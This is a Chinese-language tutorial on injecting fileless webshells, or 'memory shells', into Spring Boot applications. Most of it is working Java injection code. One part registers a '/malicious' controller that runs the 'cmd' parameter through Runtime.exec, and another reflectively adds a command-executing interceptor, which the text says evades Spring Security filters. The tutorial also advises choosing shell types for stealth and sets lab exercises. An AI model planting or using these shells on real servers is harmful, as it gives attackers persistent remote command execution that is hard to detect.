现代 Java Web 应用大多基于 Spring Boot,理解 Spring 型内存马是实战必备
Spring MVC 请求处理流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 请求到达 ↓ DispatcherServlet.doDispatch() ↓ HandlerMapping.getHandler() ← Controller 型内存马的注入点 ↓ HandlerInterceptor.preHandle() ← Interceptor 型内存马的注入点 ↓ HandlerAdapter.handle() ↓ Controller 方法执行 ↓ HandlerInterceptor.postHandle() ↓ 视图渲染 ↓ HandlerInterceptor.afterCompletion() ↓ 响应返回
|
获取 WebApplicationContext
方式1:从 ContextLoader 获取
1
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
|
方式2:从 ServletContext 属性获取
1 2
| WebApplicationContext context = WebApplicationContextUtils .getWebApplicationContext(servletContext);
|
方式3:从请求属性获取
1
| WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);
|
方式4:从线程中获取(无 request 场景)
1 2 3 4 5 6 7
| Field field = LiveBeansView.class.getDeclaredField("applicationContexts"); field.setAccessible(true); Set<ApplicationContext> contexts = (Set<ApplicationContext>) field.get(null); WebApplicationContext context = (WebApplicationContext) contexts.iterator().next();
|
Controller 型内存马
动态注册一个 Controller 的 RequestMapping,将恶意逻辑映射到指定 URL
核心组件
RequestMappingHandlerMapping:管理所有 @RequestMapping 的映射关系
RequestMappingInfo:描述一个映射的信息(URL、方法、参数等)
注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);
RequestMappingHandlerMapping mappingHandler = context.getBean( RequestMappingHandlerMapping.class);
RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/malicious") .methods(RequestMethod.GET, RequestMethod.POST) .build();
class EvilController { public ResponseEntity<String> handle(HttpServletRequest request) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); return ResponseEntity.ok(output); } return ResponseEntity.notFound().build(); } }
EvilController controller = new EvilController(); Method handleMethod = controller.getClass().getMethod( "handle", HttpServletRequest.class); mappingHandler.registerMapping(mappingInfo, controller, handleMethod);
|
注意事项
registerMapping 在 Spring 4.0+ 才可用
注册的 URL 不能与已有 URL 冲突,否则会抛异常
可以用 unregisterMapping 卸载
Interceptor 型内存马
向 Spring MVC 的拦截器链中添加恶意拦截器,拦截所有请求
与 Servlet Filter 的区别
| 维度 |
Servlet Filter |
Spring Interceptor |
| 规范 |
Servlet 规范 |
Spring MVC 框架 |
| 范围 |
所有请求 |
仅 DispatcherServlet 处理的请求 |
| 可访问 |
ServletRequest |
HttpServletRequest + Handler |
| 注入方式 |
操作 StandardContext |
操作 HandlerMapping |
注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| RequestMappingHandlerMapping mappingHandler = context.getBean( RequestMappingHandlerMapping.class);
Field adaptedInterceptorsField = AbstractHandlerMapping.class .getDeclaredField("adaptedInterceptors"); adaptedInterceptorsField.setAccessible(true); List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandler);
HandlerInterceptor evilInterceptor = new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); return false; } return true; } };
interceptors.add(0, evilInterceptor);
|
Interceptor 型的优势
- 不需要操作 Tomcat 的 StandardContext,纯 Spring 层面
- 代码更简洁
- 在 Spring Security 的 Filter 之后执行,不会触发安全过滤
实战中的选择
1 2 3 4 5 6
| 是否是 Spring 应用? ├── 否 → 使用 Servlet 型(Filter/Servlet/Listener) └── 是 ├── 需要隐蔽 → Interceptor 型(无新 URL) ├── 需要简单 → Controller 型(代码最少) └── 需要兼容 → Filter 型(通用,不依赖 Spring 版本)
|
练习
- 在 Spring Boot 靶场中注入一个 Controller 型内存马
- 注入一个 Interceptor 型内存马,对比与 Filter 型的区别
- 使用
/actuator/mappings(如果开启)查看注入后的路由变化
- 思考:Spring Security 环境下,哪种内存马最适合?